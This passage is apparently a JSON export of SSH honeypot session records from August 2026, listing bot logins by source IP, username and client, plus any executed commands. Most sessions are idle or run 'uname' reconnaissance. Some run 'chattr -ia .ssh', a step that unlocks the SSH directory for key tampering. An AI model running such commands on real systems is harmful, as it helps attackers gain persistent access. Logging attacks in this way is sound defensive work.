  "name": "umber-pewter-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 53936,
  "username": "tester",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:09:28.989021+00:00",
  "ended_at": "2026-08-26T12:09:33.699014+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a4073e2f-6187-48ed-8a01-a775e08bf6f2",
  "name": "prairie-plush-jay",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 45514,
  "username": "prashant",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:09:23.762746+00:00",
  "ended_at": "2026-08-26T12:09:25.800569+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e50cf080-55d4-4fe4-974c-3903ccbe374f",
  "name": "electric-vigilant-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39448,
  "username": "tester",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 670,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:09:21.605898+00:00",
  "ended_at": "2026-08-26T12:09:33.697544+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "8ae8a71c-dce3-4def-8168-7a9afcd37ced",
  "name": "civil-austere-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 45504,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:09:20.207942+00:00",
  "ended_at": "2026-08-26T12:09:22.037690+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "609be38c-14c9-45a4-9dff-6848a6dc3402",
  "name": "gritty-proud-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35230,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 810,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:08:50.407276+00:00",
  "ended_at": "2026-08-26T12:08:56.246627+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d8c02a64-c75c-4fdd-90dc-a14bce8e3fba",
  "name": "oaken-tangled-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55620,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 701,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:08:45.385699+00:00",
  "ended_at": "2026-08-26T12:08:50.702812+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ca237e0d-2ea6-4c6e-9a40-735d8434e047",
  "name": "tangled-smooth-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52498,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 563,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:08:28.860565+00:00",
  "ended_at": "2026-08-26T12:08:34.164494+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ffdcc605-cd3c-46e9-bb30-ef929abc4970",
  "name": "sandy-blunt-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 40894,
  "username": "christianna",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:08:25.902664+00:00",
  "ended_at": "2026-08-26T12:08:30.841738+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "37f814eb-b179-423b-a125-70a143f67301",
  "name": "mottled-silent-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56114,
  "username": "christianna",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 554,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:08:21.884607+00:00",
  "ended_at": "2026-08-26T12:08:30.842845+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1664
 },
 {
  "id": "cab97490-fe48-41ca-b6d4-a08f89169f6b",
  "name": "diligent-scarlet-gannet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 56339,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:08:02.504186+00:00",
  "ended_at": "2026-08-26T12:08:36.448273+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d37e7b3-7581-4dae-bcfe-dcb2c2c022e8",
  "name": "gritty-golden-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 34196,
  "username": "orange",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:08:00.428428+00:00",
  "ended_at": "2026-08-26T12:08:06.185489+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "48d9bf38-ef43-4692-98b8-0ee840566ed9",
  "name": "languid-bronzed-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33448,
  "username": "orange",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 470,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:07:54.557351+00:00",
  "ended_at": "2026-08-26T12:08:06.184015+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "14f65a10-600d-4217-8a68-517cc79d3025",
  "name": "smooth-crimson-skylark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46014,
  "username": "pi",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 425,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:07:52.975993+00:00",
  "ended_at": "2026-08-26T12:07:57.774414+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "645ebca1-534d-4ad8-9929-dc3ee7208f4c",
  "name": "hazy-plucky-roebuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 52522,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:07:37.356037+00:00",
  "ended_at": "2026-08-26T12:07:42.012431+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aca4376a-ba57-49e8-82f7-ae1010464c50",
  "name": "crimson-faded-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "175.206.113.91",
  "src_port": 55546,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:07:34.467439+00:00",
  "ended_at": "2026-08-26T12:07:35.873969+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "46c8ad29-5b2f-44f1-9179-d76095f1a51e",
  "name": "granite-ashen-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49900,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 571,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:07:32.648457+00:00",
  "ended_at": "2026-08-26T12:07:42.011092+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "c8c47fcc-1e88-4391-a142-a67c664ee3a6",
  "name": "salty-opal-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34218,
  "username": "gitlab",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 451,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:07:32.627613+00:00",
  "ended_at": "2026-08-26T12:07:38.481592+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "838d16ba-a37f-46ac-8a31-df87bd2e32c0",
  "name": "rustic-gentle-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51462,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:07:11.687699+00:00",
  "ended_at": "2026-08-26T12:07:16.249719+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "98961eec-94b9-4f7a-b4e8-1e69d08563d7",
  "name": "frank-lunar-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 45302,
  "username": "lg",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 877,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:07:03.286379+00:00",
  "ended_at": "2026-08-26T12:07:04.427112+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2186
 },
 {
  "id": "c6582c68-f3b8-4f32-ab79-381bd27aa82a",
  "name": "sincere-coastal-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52654,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 436,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:06:51.054521+00:00",
  "ended_at": "2026-08-26T12:06:54.520584+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4561c2bb-0b4e-4571-b1ba-401d94a106a8",
  "name": "sunlit-seaward-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 34302,
  "username": "admin1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:06:46.645958+00:00",
  "ended_at": "2026-08-26T12:06:51.712294+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0a64b81f-3d1d-4a2a-a6ba-5308994ff60c",
  "name": "subtle-vernal-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58392,
  "username": "admin1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 659,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:06:42.801680+00:00",
  "ended_at": "2026-08-26T12:06:51.713768+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "a5f5cf99-3839-43b8-9835-2558bf20352b",
  "name": "jagged-bold-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 45318,
  "username": "lg",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:06:37.652299+00:00",
  "ended_at": "2026-08-26T12:06:39.792217+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f5af1fd4-232d-42f2-b7eb-1b9445cf95d2",
  "name": "plush-velvet-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41948,
  "username": "deployer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 443,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:06:36.651594+00:00",
  "ended_at": "2026-08-26T12:06:42.885146+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "258cb1d0-0683-481b-bffa-ae6b3b5bce6b",
  "name": "brisk-fickle-marmot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 45310,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:06:34.391442+00:00",
  "ended_at": "2026-08-26T12:06:35.901730+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7f6f4881-647b-423f-ad04-ae62219ca263",
  "name": "lofty-vernal-vicuna",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 49890,
  "username": "testuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:06:24.751036+00:00",
  "ended_at": "2026-08-26T12:06:28.419275+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e638e276-660e-492c-b7c7-490cdb8aa5df",
  "name": "proud-buoyant-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38560,
  "username": "testuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 668,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:06:21.386263+00:00",
  "ended_at": "2026-08-26T12:06:28.420813+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "5d18ab30-78b2-4568-8b98-179a57d51153",
  "name": "polar-silent-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 51486,
  "username": "ansible",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:06:17.190507+00:00",
  "ended_at": "2026-08-26T12:06:22.599098+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "04fe2aea-9f0d-4aa0-bd9a-ea91bc0677ac",
  "name": "meadow-loyal-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55344,
  "username": "ansible",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 567,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:06:12.006228+00:00",
  "ended_at": "2026-08-26T12:06:22.597831+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "639fca48-b592-4395-af60-ef512a7577ae",
  "name": "gloomy-golden-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 52684,
  "username": "minecraft",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:06:07.246093+00:00",
  "ended_at": "2026-08-26T12:06:14.005473+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e9e2473f-8b4c-4914-a6c0-029a85ce2bbf",
  "name": "quiet-vigilant-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48092,
  "username": "minecraft",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 597,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:05:57.864929+00:00",
  "ended_at": "2026-08-26T12:06:14.006746+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "99ff6fc2-41c7-4b85-905f-61e498b6e80d",
  "name": "fabled-reedy-godwit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 41922,
  "username": "term2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:05:43.023899+00:00",
  "ended_at": "2026-08-26T12:05:49.271070+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3950df56-d06f-4c9a-919b-acbb23ebb696",
  "name": "crimson-airy-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41402,
  "username": "term2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 424,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:05:37.449513+00:00",
  "ended_at": "2026-08-26T12:05:49.272261+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "664e78d3-35ec-44b7-9b49-bc4f656b6355",
  "name": "lanky-dapper-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47940,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 664,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:05:32.651374+00:00",
  "ended_at": "2026-08-26T12:05:36.555815+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "daaf3fe1-9222-4b4a-9d81-80ac08155a14",
  "name": "grassy-coastal-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54220,
  "username": "git",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 615,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:05:12.978839+00:00",
  "ended_at": "2026-08-26T12:05:18.738946+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f9acdc0b-a304-4925-a7e4-3248e2fad653",
  "name": "solar-upland-woodcock",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 55320,
  "username": "ai",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:05:04.785142+00:00",
  "ended_at": "2026-08-26T12:05:08.747368+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bad07c8f-cbab-49cf-924b-3f55d53986d2",
  "name": "rustic-cunning-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53432,
  "username": "ai",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 477,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:04:59.485222+00:00",
  "ended_at": "2026-08-26T12:05:08.748231+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1655
 },
 {
  "id": "be9baa0c-14bc-4984-a5b9-4dec75e76124",
  "name": "ivory-bronzed-bullfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 48110,
  "username": "steam",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:04:58.072906+00:00",
  "ended_at": "2026-08-26T12:05:02.407616+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6f64b309-7dff-4cf5-9b3b-eb4bb59316ec",
  "name": "velvet-stormy-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54862,
  "username": "steam",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 512,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:04:52.979147+00:00",
  "ended_at": "2026-08-26T12:05:02.397554+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "01f2920a-0697-4cd5-ba2b-6102a7b67f0b",
  "name": "shaded-tangled-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59908,
  "username": "frappe",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 470,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:04:26.831461+00:00",
  "ended_at": "2026-08-26T12:04:31.071950+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b2fde54a-8381-4551-aaaf-6641981b61a8",
  "name": "dewy-gallant-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 45100,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 843,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:04:21.388571+00:00",
  "ended_at": "2026-08-26T12:04:22.525117+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2189
 },
 {
  "id": "bed6e201-a2ab-42dd-8046-2a72edd08058",
  "name": "coastal-icy-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52228,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 550,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:04:13.824428+00:00",
  "ended_at": "2026-08-26T12:04:18.897011+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1da400e7-982d-4dda-a441-70ab6b8b20dd",
  "name": "vigilant-bashful-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41200,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 587,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:04:08.112755+00:00",
  "ended_at": "2026-08-26T12:04:13.137208+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "638ea7bc-387f-4482-9deb-4b28a8d70dc9",
  "name": "amiable-woven-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 45116,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:03:59.292647+00:00",
  "ended_at": "2026-08-26T12:04:00.300065+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "580d214a-31f7-40e1-bdb6-820fe19498eb",
  "name": "balmy-woven-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 45108,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:03:55.591008+00:00",
  "ended_at": "2026-08-26T12:03:57.500953+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a4845adf-99ad-4ac0-9b89-4212b19e49c3",
  "name": "emerald-austere-goose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 60368,
  "username": "usuario",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:03:52.884310+00:00",
  "ended_at": "2026-08-26T12:03:57.445595+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4927ca98-df7c-4818-a6fa-628b6f87d236",
  "name": "granite-solar-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51096,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 488,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:03:51.353612+00:00",
  "ended_at": "2026-08-26T12:03:55.604448+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "768687a6-8c85-47ec-a8e4-3b47501a8e02",
  "name": "supple-upland-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42900,
  "username": "usuario",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 610,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:03:49.418812+00:00",
  "ended_at": "2026-08-26T12:03:57.448250+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "5f06cf09-4044-4b5c-ac46-72baf5614eb4",
  "name": "valiant-daring-dolphin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 59884,
  "username": "user10",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:03:34.399575+00:00",
  "ended_at": "2026-08-26T12:03:40.218519+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6426a9de-35b5-488e-bf8c-60ef5aeff4ba",
  "name": "chilly-airy-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38944,
  "username": "user10",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 563,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:03:30.376054+00:00",
  "ended_at": "2026-08-26T12:03:40.217240+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "0556758b-b912-4552-9a8f-7aa8ce8e3e64",
  "name": "slender-buoyant-muntjac",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 59828,
  "username": "test",
